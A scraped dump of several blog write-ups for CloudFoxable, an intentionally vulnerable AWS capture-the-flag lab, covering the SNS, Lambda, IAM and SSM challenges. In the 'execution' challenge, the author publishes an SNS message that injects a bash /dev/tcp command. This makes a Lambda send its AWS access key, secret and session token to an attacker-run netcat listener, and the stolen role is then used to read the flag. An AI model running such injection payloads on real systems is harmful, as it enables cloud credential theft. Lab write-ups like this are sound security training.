\u0026#34;SubscriptionsPending\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner\u0026#34;, \u0026#34;EffectiveDeliveryPolicy\u0026#34;: \u0026#34;{\\\u0026#34;http\\\u0026#34;:{\\\u0026#34;defaultHealthyRetryPolicy\\\u0026#34;:{\\\u0026#34;minDelayTarget\\\u0026#34;:20,\\\u0026#34;maxDelayTarget\\\u0026#34;:20,\\\u0026#34;numRetries\\\u0026#34;:3,\\\u0026#34;numMaxDelayRetries\\\u0026#34;:0,\\\u0026#34;numNoDelayRetries\\\u0026#34;:0,\\\u0026#34;numMinDelayRetries\\\u0026#34;:0,\\\u0026#34;backoffFunction\\\u0026#34;:\\\u0026#34;linear\\\u0026#34;},\\\u0026#34;disableSubscriptionOverrides\\\u0026#34;:false,\\\u0026#34;defaultRequestPolicy\\\u0026#34;:{\\\u0026#34;headerContentType\\\u0026#34;:\\\u0026#34;text/plain; charset=UTF-8\\\u0026#34;}}}\u0026#34;, \u0026#34;FirehoseSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;SubscriptionsConfirmed\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;SQSSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;HTTPSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;ApplicationSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;DisplayName\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;SubscriptionsDeleted\u0026#34;: \u0026#34;0\u0026#34; } } Interesting, this time around, any principal in my AWS account can subscribe to this topic. I\u0026rsquo;ll go ahead and subscribe to it.\n1 2 3 4 adicpnn@laboratory cloud % aws sns subscribe --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --protocol email --notification-endpoint email@gmail.com --profile vini { \u0026#34;SubscriptionArn\u0026#34;: \u0026#34;pending confirmation\u0026#34; } Interesting, not a lot of information going on, I need to enumerate some more.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 adicpnn@laboratory cloud % aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --profile vini { \u0026#34;Subscriptions\u0026#34;: [ { \u0026#34;SubscriptionArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner:5faf4360-11e0-4c91-a774-f81abf575c00\u0026#34;, \u0026#34;Owner\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Protocol\u0026#34;: \u0026#34;email\u0026#34;, \u0026#34;Endpoint\u0026#34;: \u0026#34;email@gmail.com\u0026#34;, \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner\u0026#34; }, { \u0026#34;SubscriptionArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner:2c8fe6b9-15a9-4039-8e08-e6db838d5988\u0026#34;, \u0026#34;Owner\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Protocol\u0026#34;: \u0026#34;lambda\u0026#34;, \u0026#34;Endpoint\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:executioner\u0026#34;, \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner\u0026#34; } ] } Execution Looks like there\u0026rsquo;s a lambda function subscribed aswell. Maybe I can interact with it by publishing a message to the topic.\n1 2 3 4 5 adicpnn@laboratory cloud % aws lambda get-policy --function-name executioner --profile cloudfoxable { \u0026#34;Policy\u0026#34;: \u0026#34;{\\\u0026#34;Version\\\u0026#34;:\\\u0026#34;2012-10-17\\\u0026#34;,\\\u0026#34;Id\\\u0026#34;:\\\u0026#34;default\\\u0026#34;,\\\u0026#34;Statement\\\u0026#34;:[{\\\u0026#34;Sid\\\u0026#34;:\\\u0026#34;AllowExecutionFromSNS\\\u0026#34;,\\\u0026#34;Effect\\\u0026#34;:\\\u0026#34;Allow\\\u0026#34;,\\\u0026#34;Principal\\\u0026#34;:{\\\u0026#34;Service\\\u0026#34;:\\\u0026#34;sns.amazonaws.com\\\u0026#34;},\\\u0026#34;Action\\\u0026#34;:\\\u0026#34;lambda:InvokeFunction\\\u0026#34;,\\\u0026#34;Resource\\\u0026#34;:\\\u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:executioner\\\u0026#34;,\\\u0026#34;Condition\\\u0026#34;:{\\\u0026#34;ArnLike\\\u0026#34;:{\\\u0026#34;AWS:SourceArn\\\u0026#34;:\\\u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner\\\u0026#34;}}}]}\u0026#34;, \u0026#34;RevisionId\u0026#34;: \u0026#34;2973b3bf-b8c1-4a8f-9ebf-c10c49d6e36c\u0026#34; } This is confirmation that the lambda will indeed execute when a message is published. This is quite a step up in difficulty from previous challenges, as it took quite a while to get a working PoC.\nI hosted an EC2 instance to act as an exfiltration point, and tried getting the lambda function to send it\u0026rsquo;s AWS access credentials to it.\n1 2 3 4 [ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 1 2 3 4 adicpnn@laboratory cloud % aws sns publish --topic-arn arn:aws:sns:eu-central-1:129323993607:executioner --message \u0026#39;exec 3\u0026lt;\u0026gt;/dev/tcp/ip_addr/9999; echo -e \u0026#34;GET /aloha?a=$AWS_ACCESS_KEY_ID\u0026amp;b=$AWS_SECRET_ACCESS_KEY\u0026amp;c=$AWS_SESSION_TOKEN HTTP/1.1\\r\\nHost: ip_addr\\r\\n\\r\\n\u0026#34; \u0026gt;\u0026amp;3 ; exec 3\u0026lt;\u0026amp;-\u0026#39; { \u0026#34;MessageId\u0026#34;: \u0026#34;4d2e8f56-40d0-57d7-a832-ed7a997ee8fe\u0026#34; } This command is simply used because the runtime environment of the lambda function had no utilities, such as netcat, or curl, so the only alternative was to send raw data on a socket. Not long after, I get all the data I need on my netcat listener.\n1 2 3 4 5 6 7 8 [ec2-user@ip-172-31-37-14 ~]$ nc -lnvp 9999 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 52.59.192.178. Ncat: Connection from 52.59.192.178:37652. GET /aloha?a=nope\u0026amp;b=nope\u0026amp;c=nope HTTP/1.1 Host: ip_addr Saved the access keys in a profile inside ~/.aws/credentials, then validated then.\n1 2 3 4 5 6 adicpnn@laboratory cloud % aws sts get-caller-identity --profile lambda { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRID45FHUA3OY:executioner\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/ream/executioner\u0026#34; } This role has two policies attached to it:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name ream --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;executioner-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/executioner-policy\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;executioner-secret-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/executioner-secret-policy\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/executioner-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;logs:CreateLogGroup\u0026#34;, \u0026#34;logs:CreateLogStream\u0026#34;, \u0026#34;logs:PutLogEvents\u0026#34;, \u0026#34;sns:Subscribe\u0026#34;, \u0026#34;sns:ListSubscriptionsByTopic\u0026#34;, \u0026#34;sns:ListTopics\u0026#34;, \u0026#34;sns:ListSubscriptions\u0026#34;, \u0026#34;sns:GetTopicAttributes\u0026#34;, \u0026#34;sns:Receive\u0026#34;, \u0026#34;ssm:DescribeParameters\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:57+00:00\u0026#34; } } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/executioner-secret-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: \u0026#34;ssm:GetParameter\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/executioner\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:59+00:00\u0026#34; } } Looks like this might be enough for me to retrieve the flag for this challenge.\n1 2 3 4 5 6 7 8 9 10 11 12 adicpnn@laboratory cloud % aws ssm get-parameter --name /cloudfoxable/flag/executioner --with-decryption --profile lambda { \u0026#34;Parameter\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/executioner\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;Value\u0026#34;: \u0026#34;FLAG{theTopicIsExecution::WeJustPoppedALambdaByInjectingAnEvilSNSmessage}\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.689000+01:00\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/executioner\u0026#34;, \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; } } ","permalink":"https://adicpnn.com/blog/cloudfoxable/execution/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eYou\u0026rsquo;ve just gained access to the role viniciusjr. At first glance, this role appears to only have some SNS read-only access? But I don\u0026rsquo;t think that\u0026rsquo;s accurate. See if you can get to the flag /cloudfoxable/flag/executioner in the SSM parameter store.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"information-gathering\"\u003eInformation Gathering\u003c/h3\u003e\n\u003cp\u003eFirst things first, set up the profile, and test access.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eadicpnn@laboratory cloud % cat ~/.aws/config \u003cspan class=\"p\"\u003e|\u003c/span\u003e tail \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003eprofile vini\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eregion\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e eu-central-1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003erole_arn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e arn:aws:iam::129323993607:role/viniciusjr\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003esource_profile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e cloudfoxable\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eadicpnn@laboratory cloud % aws sts get-caller-identity --profile vini\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;UserId\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;AROAR4HCPRIDXMLFGL22G:botocore-session-1773327029\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;Account\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;129323993607\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"s2\"\u003e\u0026#34;Arn\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;arn:aws:sts::129323993607:assumed-role/viniciusjr/botocore-session-1773327029\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThen, enumerating attached policies.\u003c/p\u003e","title":"Cloudfoxable - The topic is execution"},{"content":" What does it mean when we say something is \u0026ldquo;public\u0026rdquo; in the cloud? Do you need an IP address to be public? What if a resource is accessible to anyone in the world, provided they have an AWS account (any AWS account). That seems close enough to public to scare me!\nNote: FWIW, there is a policy on the resource in question that will only allow you to exploit it from your IP address to prevent misuse)\nThere are two cloudfox commands that can help you here.\nInformation Gathering The word \u0026ldquo;topic\u0026rdquo; gets me thinking of AWS SNS, so i\u0026rsquo;ll start enumerating topics there.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 adicpnn@laboratory cloud % aws sns list-topics --profile cloudfoxable { \u0026#34;Topics\u0026#34;: [ { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:eventbridge-sns\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:executioner\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:public\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:user-updates-topic\u0026#34; }, { \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:user-updates-topic.fifo\u0026#34; } ] } Then, for each topic, I\u0026rsquo;ll look into it\u0026rsquo;s access policy.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 adicpnn@laboratory cloud % aws sns get-topic-attributes --topic-arn arn:aws:sns:eu-central-1:129323993607:eventbridge-sns --profile cloudfoxable { \u0026#34;Attributes\u0026#34;: { \u0026#34;Policy\u0026#34;: \u0026#34;{\\\u0026#34;Version\\\u0026#34;:\\\u0026#34;2012-10-17\\\u0026#34;,\\\u0026#34;Id\\\u0026#34;:\\\u0026#34;snspolicy\\\u0026#34;,\\\u0026#34;Statement\\\u0026#34;:[{\\\u0026#34;Sid\\\u0026#34;:\\\u0026#34;First\\\u0026#34;,\\\u0026#34;Effect\\\u0026#34;:\\\u0026#34;Allow\\\u0026#34;,\\\u0026#34;Principal\\\u0026#34;:\\\u0026#34;*\\\u0026#34;,\\\u0026#34;Action\\\u0026#34;:[\\\u0026#34;sns:Subscribe\\\u0026#34;,\\\u0026#34;sns:Publish\\\u0026#34;],\\\u0026#34;Resource\\\u0026#34;:\\\u0026#34;arn:aws:sns:eu-central-1:129323993607:eventbridge-sns\\\u0026#34;,\\\u0026#34;Condition\\\u0026#34;:{\\\u0026#34;IpAddress\\\u0026#34;:{\\\u0026#34;aws:SourceIp\\\u0026#34;:\\\u0026#34;nope\\\u0026#34;}}}]}\u0026#34;, \u0026#34;LambdaSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;Owner\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;SubscriptionsPending\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;TopicArn\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:eventbridge-sns\u0026#34;, \u0026#34;EffectiveDeliveryPolicy\u0026#34;: \u0026#34;{\\\u0026#34;http\\\u0026#34;:{\\\u0026#34;defaultHealthyRetryPolicy\\\u0026#34;:{\\\u0026#34;minDelayTarget\\\u0026#34;:20,\\\u0026#34;maxDelayTarget\\\u0026#34;:20,\\\u0026#34;numRetries\\\u0026#34;:3,\\\u0026#34;numMaxDelayRetries\\\u0026#34;:0,\\\u0026#34;numNoDelayRetries\\\u0026#34;:0,\\\u0026#34;numMinDelayRetries\\\u0026#34;:0,\\\u0026#34;backoffFunction\\\u0026#34;:\\\u0026#34;linear\\\u0026#34;},\\\u0026#34;disableSubscriptionOverrides\\\u0026#34;:false,\\\u0026#34;defaultRequestPolicy\\\u0026#34;:{\\\u0026#34;headerContentType\\\u0026#34;:\\\u0026#34;text/plain; charset=UTF-8\\\u0026#34;}}}\u0026#34;, \u0026#34;FirehoseSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;SubscriptionsConfirmed\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;SQSSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;HTTPSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;ApplicationSuccessFeedbackSampleRate\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;DisplayName\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;SubscriptionsDeleted\u0026#34;: \u0026#34;0\u0026#34; } } This might not be apparent at first sight, but the topic policy allows anyone to subscribe to it!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Id\u0026#34;: \u0026#34;snspolicy\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Sid\u0026#34;: \u0026#34;First\u0026#34;, \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;Action\u0026#34;: [ \u0026#34;sns:Subscribe\u0026#34;, \u0026#34;sns:Publish\u0026#34; ], \u0026#34;Resource\u0026#34;: \u0026#34;arn:aws:sns:eu-central-1:129323993607:eventbridge-sns\u0026#34;, \u0026#34;Condition\u0026#34;: { \u0026#34;IpAddress\u0026#34;: { \u0026#34;aws:SourceIp\u0026#34;: \u0026#34;nope\u0026#34; } } } ] } Execution I\u0026rsquo;ll proceed with subscribing to the topic via email, making sure I confirm the subscribtion first\n1 2 3 4 adicpnn@laboratory cloud % aws sns subscribe --topic-arn arn:aws:sns:eu-central-1:129323993607:eventbridge-sns --notification-endpoint email@.com --protocol email --profile cloudfoxable { \u0026#34;SubscriptionArn\u0026#34;: \u0026#34;pending confirmation\u0026#34; } After a quick wait, a notification message should pop up.\n","permalink":"https://adicpnn.com/blog/cloudfoxable/exposure/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eWhat does it mean when we say something is \u0026ldquo;public\u0026rdquo; in the cloud? Do you need an IP address to be public? What if a resource is accessible to anyone in the world, provided they have an AWS account (any AWS account). That seems close enough to public to scare me!\u003c/p\u003e\n\u003cp\u003eNote: FWIW, there is a policy on the resource in question that will only allow you to exploit it from your IP address to prevent misuse)\u003c/p\u003e","title":"Cloudfoxable - The topic is exposure"},{"content":" TL;DR: You\u0026rsquo;ve just gained access to the role Ertz. Can you find and access the its-another-secret flag?\nA lot of the challenges in the category Assumed Breach: Principal will have you assume into a role to simulate a new starting point. You\u0026rsquo;ll technically start as ctf-starting-user, but your first action will be to assume the role Ertz listed above. This is to simulate a scenario where you\u0026rsquo;ve just gained access to the role Ertz.\nYou can do this the \u0026ldquo;hard way\u0026rdquo; by running aws \u0026ndash;profile cloudfoxable sts assume-role \u0026ndash;role-arn arn:aws:iam::ACCOUNT_ID:role/Ertz \u0026ndash;role-session-name Ertz and then using that output to set up a new profile or environment variables.\nOr, you can do it the easy way and create a new profile that does the role assumption for you!\nEdit ~/.aws/config and add the following profile:\n[profile ertz] region = us-west-2 role_arn = arn:aws:iam::ACCOUNT_ID:role/Ertz source_profile = cloudfoxable\nNow verify it!\n❯ aws \u0026ndash;profile ertz sts get-caller-identity { \u0026ldquo;UserId\u0026rdquo;: \u0026ldquo;AROAQXHJKLZKFYSRACOES:botocore-session-1684201365\u0026rdquo;, \u0026ldquo;Account\u0026rdquo;: \u0026ldquo;ACCOUNT_ID\u0026rdquo;, \u0026ldquo;Arn\u0026rdquo;: \u0026ldquo;arn:aws:sts::ACCOUNT_ID:assumed-role/Ertz/botocore-session-1684201365\u0026rdquo; }\nFor each of these challenges, and on a cloud penetration test, the next thing you\u0026rsquo;ll want to do is see what permissions the assumed breach user has, and see if any of them are \u0026ldquo;interesting\u0026rdquo;.\nIf you\u0026rsquo;ve completed It\u0026rsquo;s a secret, the rest of this challenge will look the same. The main goal here is to make sure you are comfortable assuming new roles. Good luck!\nInformation Gathering Let\u0026rsquo;s see what policies this role has attached. I will be using the cloudfoxable profile to check this information, as the Ertz role my not have enough permissions to see this.\n1 2 3 4 5 6 7 8 9 adicpnn@laboratory aws % aws iam list-attached-role-policies --role-name Ertz --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;its-another-secret-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/its-another-secret-policy\u0026#34; } ] } Next, I\u0026rsquo;m going to proceed to look at the policy that\u0026rsquo;s been attached to this role I\u0026rsquo;ve assumed.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 adicpnn@laboratory aws % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/its-another-secret-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;ssm:GetParameter\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/its-another-secret\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:04+00:00\u0026#34; } } Execution Ok then! The attached policy allows me to read another SSM parameter. Important at this step is to make sure I\u0026rsquo;m using the ertz profile, not the cloudfoxable one. Another easy win.\n1 2 3 4 5 6 7 8 9 10 11 12 adicpnn@laboratory aws % aws ssm get-parameter --name /cloudfoxable/flag/its-another-secret --profile ertz --with-decryption { \u0026#34;Parameter\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;/cloudfoxable/flag/its-another-secret\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;Value\u0026#34;: \u0026#34;FLAG{ItsAnotherSecret::ThereWillBeALotOfAssumingRolesInThisCTF}\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-11T16:43:57.583000+01:00\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/cloudfoxable/flag/its-another-secret\u0026#34;, \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; } } ","permalink":"https://adicpnn.com/blog/cloudfoxable/its-another-secret/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eTL;DR: You\u0026rsquo;ve just gained access to the role Ertz. Can you find and access the its-another-secret flag?\u003c/p\u003e\n\u003cp\u003eA lot of the challenges in the category Assumed Breach: Principal will have you assume into a role to simulate a new starting point. You\u0026rsquo;ll technically start as ctf-starting-user, but your first action will be to assume the role Ertz listed above. This is to simulate a scenario where you\u0026rsquo;ve just gained access to the role Ertz.\u003c/p\u003e","title":"Cloudfoxable - It's another secret"},{"content":" For this CTF, your starting CTF user has the following policies:\nSecurityAudit (AWS Managed)\rCloudFox (Customer Managed)\rits-a-secret (Customer Managed)\rThe first two policies allow you to run CloudFox. The third policy allows this starting user to get the flag for this challenge. If you followed the setup steps in the First Flag challenge (if you are doing this in a workshop, the setup in First Flag has been done for you), you\u0026rsquo;ll have a profile called cloudfoxable which is tied to the user/ctf-starting-user.\nTo confirm this, run aws --profile cloudfoxable sts get-caller-identity.\nNow run cloudfox using the cloudfoxable profile and see if you can access the secret named its-a-secret.\nInformation Gathering As always, I need to check I have a valid identity, before proceeding any further.\n1 2 3 4 5 6 adicpnn@laboratory:~$ aws sts get-caller-identity --profile cloudfoxable { \u0026#34;UserId\u0026#34;: \u0026#34;AIDAR4HCPRIDY7U3NLPYA\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/ctf-starting-user\u0026#34; } Then, a practice I\u0026rsquo;d like to get in the habit of, is trusting, but verifying the information I\u0026rsquo;ve been given. Next, I\u0026rsquo;ll look into the policies attached to my user.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 adicpnn@laboratory:~$ aws iam list-attached-user-policies --user-name ctf-starting-user --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;CloudFox-policy-perms\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/CloudFox-policy-perms\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;its-a-secret-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/its-a-secret-policy\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;SecurityAudit\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/SecurityAudit\u0026#34; } ] } Looks like everything is in order, so I\u0026rsquo;m going to proceed to look at the policy that\u0026rsquo;s been attached to my user.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 adicpnn@laboratory:~$ aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/its-a-secret-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: 